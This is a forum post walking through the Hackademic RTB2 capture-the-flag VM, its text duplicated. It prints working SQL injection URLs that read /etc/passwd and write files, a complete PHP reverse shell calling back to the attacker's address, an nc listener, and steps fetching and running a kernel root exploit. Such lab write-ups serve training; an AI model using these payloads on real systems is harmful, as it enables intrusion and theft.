[Walkthrough] Hackademic - Root This Box 2 05-21-2013, 04:00 PM
#1
The Hackademic Root This Box 2 challenge is a realistic hacker challenge with one or more specific objective.
In this article I’m going to go through the process I used to accomplish the objective, so let’s just get to it
Introduction
Objective: Gain root access and read content of the key file in /root
Tools and methods I used to complete the challenge:
Step 1: Basic port scan
As always I started with a basic port scan to look for anything that might be interesting …
… and this time something interesting appeared. What can be hiding behind port 666? This requires further investigation.
Step 2: Look for hidden folders
Before I continued I decided to start OWASP’s DirBuster to see if I could find some interesting folders, and after a short wait DirBuster found a phpMyAdmin folder. I navigated to phpmyadmin but after a few manual brute force attempts without any luck I decided that the port 666 was more interesting.
Images
Step 3: Researching port 666
First I did another attempt with nmap but it didn’t return anything very useful or interesting, so I decided to see what I could find when connecting with telnet
This dumped tons of HTML code. So I decided to expand the nmap scan
Now we’re talking. Finally I found some interesting information. It seems like there’s a Joomla! application running on 666. My next move was to open it up in the browser
Image
Step 4: Investigate the Joomla! application
Applications like WordPress and Joomla is a hackers dream. Not so much because of the application itself, but because there are so many inexperienced programmers who creates 3rd party plugins for them, and so many careless users who installs these plugins. Knowing this we start looking for components that’s not part of the Joomla! core application.
The way we do this is by looking at the ?option parameter. It sais something like com_something.
We can also use metasploit for finding installed plugins for Joomla!.
When looking through that list I see something familiar. While manually clicking the links on the page I noticed this ?option=com_abc. Time to move on and start exploiting the website to see if it actually is vulnerable as metasploit suggested
Step 5: Exploit Joomla!
I opened the Hackbar addon for mozilla and navigated to the abc component and replaced itemid=1 with sectionid=’, and look at that
Error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” GROUP BY title ORDER BY title’ at line 1 SQL=SELECT id, title FROM jos_content WHERE state = 1 AND UPPER(title) LIKE ‘List of content items…%’ AND sectionid = ‘ GROUP BY title ORDER BY title
After a couple of order by attempts I verified that it was vulnerable to union select with 2 columns
After gathering the above information it was time to really get started.
It’s common knowledge to people who has worked with Joomla! before, that the applications configuration is located in configuration.php in the application root. This file also holds the database login credentials, so I decided to see if I could load it.
The first I did was to see if I could load /etc/passwd. If this is possible I know that I can, with the corret path, gain access to the configuration.php file as well.
/etc/passwd was a success.
I then tried the most obvious path for the configuration which is /var/www/configuration.php. If this does not return anything other paths to try would be
/var/www/html/configuration.php
/var/www/public_html/configuration.php
/var/www/htdocs/configuration.php
There are others, but these are, at least as far as I know, the most common ones.
My attempt was successful. The content of configuration.php was displayed on the page, but not very readable, so I opened the page source view where the output is readable and copied the password.
Before I moved on there was just one more thing I wanted to try out. Check if I have write permissions.. To do this I used the following sql injection
I then visited http://192.168.56.105:666/hello.txt and it confirms that I have write permission
With this confirmation, and the database username and password in my possession it was time to move to the next step.
Step 6: phpMyAdmin and DUMPFILE
After logging in to phpmyadmin I selected the joomla database. My task is simple enough. I need to get a reverse shell on to the server, and since I have write access I decided to not do all types of fancy stuff, but just use MySQL to write the shell on to the server for me.
I did a search on Google and found a php reverse shell. I downloaded it and modified it to work with a MySQL SELECT …. INTO DUMPFILE query.
It was now time to write the file
Original shell can be found here: http://pentestmonkey.net/tools/web-shell...erse-shell
Step 7: Connect to the reverse shell
Now that I had the file on the server I navigated to it to verify that it actually exists and I got the following message
WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111)
This tells me that it was successfully created but I’m not currently listening to that port so it’s not able to connect.
It’s now time to listen to 1234 (default port in the shell).
Now that I'm listening I reloaded revshell.php in the browser. If successfull the browser will be constantly loading and I should see something like this in the terminal
This is the reverse shell. The terminal on the server we’re exploiting
Step 8: Exploit the server
Before I could exploit the server I had to gather some information about it.
This is interesting.. The kernel version is 2.6.32.. The kernel version in Root This Box 1 was 2.6.31 and I recall that the privilege escalation vulnerability in RTB1 would work for several versions… I went to the exploit page on securityfocus.com
http://www.securityfocus.com/bid/44219
I looked at the discussions tab and I was right…
Linux kernel 2.6.30 through 2.6.36-rc8 are vulnerable.
This means that this will acutally work here as well…
So the process is just the same as the last challenge
Step 9: Finish the objectives
The first objective was to gain root access. Now, all that’s left is to read the content of the key.txt in /root which shouldn’t be all that hard right? Let’s see
Oh, the content has been encoded with base64, so what to do next?
You could of course build your own decoder etc, but there’s so many decoders online already so I just used the one always use
http://www.motobit.com/util/base64-decoder-encoder.asp
I started by copying the file to the web root
I then navigated to key.txt in the browser
http://192.168.56.105:666/key.txt
Copied the string into the decoder and decoded the string..
Looking at the output I see the PNG header on top of the decoded string.. This tells me that this is a PNG image.. I then use the tool to create a file instead of outputting a string.
I could now open the image and read the content.
Game Over
Both objectives has been completed successfully. Root access was gained and the content of the Key.txt was viewed after decoding and converting to png.
Source: My blog
In this article I’m going to go through the process I used to accomplish the objective, so let’s just get to it
Introduction
Objective: Gain root access and read content of the key file in /root
Tools and methods I used to complete the challenge:
- nmap
- telnet
- metasploit
- browser
- sql injections
- reverse shell
- base64 decoder
Step 1: Basic port scan
As always I started with a basic port scan to look for anything that might be interesting …
Code:
# nmap 192.168.56.105
Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-21 12:47 CEST
Nmap scan report for 192.168.56.105
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
666/tcp filtered doom
MAC Address: 08:00:27:CD:F0:CB (Cadmus Computer Systems)
… and this time something interesting appeared. What can be hiding behind port 666? This requires further investigation.
Step 2: Look for hidden folders
Before I continued I decided to start OWASP’s DirBuster to see if I could find some interesting folders, and after a short wait DirBuster found a phpMyAdmin folder. I navigated to phpmyadmin but after a few manual brute force attempts without any luck I decided that the port 666 was more interesting.
Images
Spoiler:
Spoiler:
Step 3: Researching port 666
First I did another attempt with nmap but it didn’t return anything very useful or interesting, so I decided to see what I could find when connecting with telnet
Code:
# telnet 192.168.56.105 666
This dumped tons of HTML code. So I decided to expand the nmap scan
Code:
# nmap -p- -A -T5 192.168.56.105
Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-21 13:18 CEST
Nmap scan report for 192.168.56.105
Host is up (0.00063s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Hackademic.RTB2
666/tcp open http Apache httpd 2.2.14 ((Ubuntu))
|_http-generator: Joomla! 1.5 - Open Source Content Management
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
| http-robots.txt: 14 disallowed entries
| /administrator/ /cache/ /components/ /images/
| /includes/ /installation/ /language/ /libraries/ /media/
|_/modules/ /plugins/ /templates/ /tmp/ /xmlrpc/
|_http-title: Hackademic.RTB2
MAC Address: 08:00:27:CD:F0:CB (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.17 - 2.6.36
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.63 ms 192.168.56.105
Now we’re talking. Finally I found some interesting information. It seems like there’s a Joomla! application running on 666. My next move was to open it up in the browser
Image
Spoiler:
Step 4: Investigate the Joomla! application
Applications like WordPress and Joomla is a hackers dream. Not so much because of the application itself, but because there are so many inexperienced programmers who creates 3rd party plugins for them, and so many careless users who installs these plugins. Knowing this we start looking for components that’s not part of the Joomla! core application.
The way we do this is by looking at the ?option parameter. It sais something like com_something.
We can also use metasploit for finding installed plugins for Joomla!.
Code:
# msfconsole
msf > search joomla
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/http/joomla_pages normal Joomla Page Scanner
auxiliary/scanner/http/joomla_plugins normal Joomla Plugins Scanner
auxiliary/scanner/http/joomla_version normal Joomla Version Scanner
exploit/unix/webapp/joomla_tinybrowser 2009-07-22 excellent Joomla 1.5.12 TinyBrowser File Upload Code Execution
msf > use auxiliary/scanner/http/joomla_plugins
msf auxiliary(joomla_plugins) > show options
Module options (auxiliary/scanner/http/joomla_plugins):
Name Current Setting Required Description
---- --------------- -------- -----------
PLUGINS /opt/metasploit/apps/pro/msf3/data/wordlists/joomla.txt yes Path to list of plugins to enumerate
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
TARGETURI / yes The path to the Joomla install
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
msf auxiliary(joomla_plugins) > set RHOSTS 192.168.56.105
RHOSTS => 192.168.56.105
msf auxiliary(joomla_plugins) > set RPORT 666
RPORT => 666
msf auxiliary(joomla_plugins) > run
[+] 192.168.56.105:666 - Plugin: /administrator/
[+] 192.168.56.105:666 - Plugin: /administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
[+] 192.168.56.105:666 - Plugin: /administrator/index.php?option=com_searchlog&act=log
[+] 192.168.56.105:666 - Plugin: /components/com_banners/
[+] 192.168.56.105:666 - Page: /index.php?option=com_banners
[+] 192.168.56.105:666 - Plugin: /components/com_content/
[+] 192.168.56.105:666 - Page: /index.php?option=com_content
[+] 192.168.56.105:666 - Plugin: /components/com_mailto/
[+] 192.168.56.105:666 - Plugin: /components/com_poll/
[+] 192.168.56.105:666 - Plugin: /components/com_search/
[+] 192.168.56.105:666 - Plugin: /components/com_user/controller.php
[+] 192.168.56.105:666 - Plugin: /components/com_weblinks/
[+] 192.168.56.105:666 - Page: /index.php?option=com_weblinks
[+] 192.168.56.105:666 - Plugin: /includes/joomla.php
[+] 192.168.56.105:666 - Plugin: /index.php?option=com_abc&view=abc&letter=AS§ionid='
[+] 192.168.56.105:666 - Vulnerability: Potential SQL Injection
[+] 192.168.56.105:666 - Plugin: /index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version
[+] 192.168.56.105:666 - Page: /index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version
[+] 192.168.56.105:666 - Plugin: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
[+] 192.168.56.105:666 - Page: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos
[+] 192.168.56.105:666 - Plugin: /libraries/joomla/utilities/compat/php50x.php
[+] 192.168.56.105:666 - Plugin: /libraries/phpmailer/phpmailer.php
[+] 192.168.56.105:666 - Plugin: /libraries/phpxmlrpc/xmlrpcs.php
[+] 192.168.56.105:666 - Plugin: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
[+] 192.168.56.105:666 - Plugin: /plugins/editors/xstandard/attachmentlibrary.php
[+] 192.168.56.105:666 - Plugin: /templates/ja_purity/
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
When looking through that list I see something familiar. While manually clicking the links on the page I noticed this ?option=com_abc. Time to move on and start exploiting the website to see if it actually is vulnerable as metasploit suggested
Step 5: Exploit Joomla!
Spoiler:
I opened the Hackbar addon for mozilla and navigated to the abc component and replaced itemid=1 with sectionid=’, and look at that
Error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” GROUP BY title ORDER BY title’ at line 1 SQL=SELECT id, title FROM jos_content WHERE state = 1 AND UPPER(title) LIKE ‘List of content items…%’ AND sectionid = ‘ GROUP BY title ORDER BY title
After a couple of order by attempts I verified that it was vulnerable to union select with 2 columns
Code:
http://192.168.56.105:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...§ionid=0 union select 1,@@version -- // Returned: 5.1.41-3ubuntu12.8
http://192.168.56.105:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...§ionid=0 union select 1,database() -- // Returned: joomla
http://192.168.56.105:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...§ionid=0 union select 1,user() -- // Returned: root@localhost
After gathering the above information it was time to really get started.
It’s common knowledge to people who has worked with Joomla! before, that the applications configuration is located in configuration.php in the application root. This file also holds the database login credentials, so I decided to see if I could load it.
The first I did was to see if I could load /etc/passwd. If this is possible I know that I can, with the corret path, gain access to the configuration.php file as well.
Code:
http://192.168.56.105:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...§ionid=0 union select 1,load_file('/etc/passwd') --
/etc/passwd was a success.
I then tried the most obvious path for the configuration which is /var/www/configuration.php. If this does not return anything other paths to try would be
/var/www/html/configuration.php
/var/www/public_html/configuration.php
/var/www/htdocs/configuration.php
There are others, but these are, at least as far as I know, the most common ones.
My attempt was successful. The content of configuration.php was displayed on the page, but not very readable, so I opened the page source view where the output is readable and copied the password.
Before I moved on there was just one more thing I wanted to try out. Check if I have write permissions.. To do this I used the following sql injection
Code:
http://192.168.56.105:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...§ionid=1 union select 1,'hello' into dumpfile '/var/www/hello.txt' --
I then visited http://192.168.56.105:666/hello.txt and it confirms that I have write permission
With this confirmation, and the database username and password in my possession it was time to move to the next step.
Step 6: phpMyAdmin and DUMPFILE
Spoiler:
After logging in to phpmyadmin I selected the joomla database. My task is simple enough. I need to get a reverse shell on to the server, and since I have write access I decided to not do all types of fancy stuff, but just use MySQL to write the shell on to the server for me.
I did a search on Google and found a php reverse shell. I downloaded it and modified it to work with a MySQL SELECT …. INTO DUMPFILE query.
It was now time to write the file
Code:
SELECT '<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = "192.168.56.104"; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = "uname -a; w; id; /bin/sh -i";
$daemon = 0;
$debug = 0;
if (function_exists("pcntl_fork")) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Cannot fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Cannot setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Cannot spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>' INTO DUMPFILE '/var/www/revshell.php'
Original shell can be found here: http://pentestmonkey.net/tools/web-shell...erse-shell
Step 7: Connect to the reverse shell
Now that I had the file on the server I navigated to it to verify that it actually exists and I got the following message
WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111)
This tells me that it was successfully created but I’m not currently listening to that port so it’s not able to connect.
It’s now time to listen to 1234 (default port in the shell).
Code:
# nc -lnvp 1234
listening on [any] 1234 ...
Now that I'm listening I reloaded revshell.php in the browser. If successfull the browser will be constantly loading and I should see something like this in the terminal
Code:
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.105] 36469
Linux HackademicRTB2 2.6.32-24-generic #39-Ubuntu SMP Wed Jul 28 06:07:29 UTC 2010 i686 GNU/Linux
15:16:50 up 1:35, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$
This is the reverse shell. The terminal on the server we’re exploiting
Step 8: Exploit the server
Before I could exploit the server I had to gather some information about it.
Code:
$ uname -a
Linux HackademicRTB2 2.6.32-24-generic #39-Ubuntu SMP Wed Jul 28 06:07:29 UTC 2010 i686 GNU/Linux
This is interesting.. The kernel version is 2.6.32.. The kernel version in Root This Box 1 was 2.6.31 and I recall that the privilege escalation vulnerability in RTB1 would work for several versions… I went to the exploit page on securityfocus.com
http://www.securityfocus.com/bid/44219
I looked at the discussions tab and I was right…
Linux kernel 2.6.30 through 2.6.36-rc8 are vulnerable.
This means that this will acutally work here as well…
So the process is just the same as the last challenge
Code:
$ cd /tmp
$ wget http://www.securityfocus.com/data/vulnerabilities/exploits/44219.c
$ gcc 44219.c -o rootme
$ ./rootme
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved security_ops to 0xc08cac4c
[+] Resolved default_security_ops to 0xc0773340
[+] Resolved cap_ptrace_traceme to 0xc02f5060
[+] Resolved commit_creds to 0xc016dd80
[+] Resolved prepare_kernel_cred to 0xc016e0c0
[*] Overwriting security ops...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved security_ops to 0xc08cac4c
[+] Resolved default_security_ops to 0xc0773340
[+] Resolved cap_ptrace_traceme to 0xc02f5060
[+] Resolved commit_creds to 0xc016dd80
[+] Resolved prepare_kernel_cred to 0xc016e0c0
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved security_ops to 0xc08cac4c
[+] Resolved default_security_ops to 0xc0773340
[+] Resolved cap_ptrace_traceme to 0xc02f5060
[+] Resolved commit_creds to 0xc016dd80
[+] Resolved prepare_kernel_cred to 0xc016e0c0
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
whoami
root
Step 9: Finish the objectives
The first objective was to gain root access. Now, all that’s left is to read the content of the key.txt in /root which shouldn’t be all that hard right? Let’s see
Code:
cd /root
ls -l
total 40
drwxr-xr-x 2 root root 4096 Jan 17 2011 Desktop
-rwxr-xr-x 1 root root 33921 Jan 22 2011 Key.txt
cat Key.txt
Oh, the content has been encoded with base64, so what to do next?
You could of course build your own decoder etc, but there’s so many decoders online already so I just used the one always use
http://www.motobit.com/util/base64-decoder-encoder.asp
I started by copying the file to the web root
Code:
cp Key.txt /var/www/key.txt
I then navigated to key.txt in the browser
http://192.168.56.105:666/key.txt
Copied the string into the decoder and decoded the string..
Looking at the output I see the PNG header on top of the decoded string.. This tells me that this is a PNG image.. I then use the tool to create a file instead of outputting a string.
Spoiler:
I could now open the image and read the content.
Spoiler:
Game Over
Both objectives has been completed successfully. Root access was gained and the content of the Key.txt was viewed after decoding and converting to png.
Source: My blog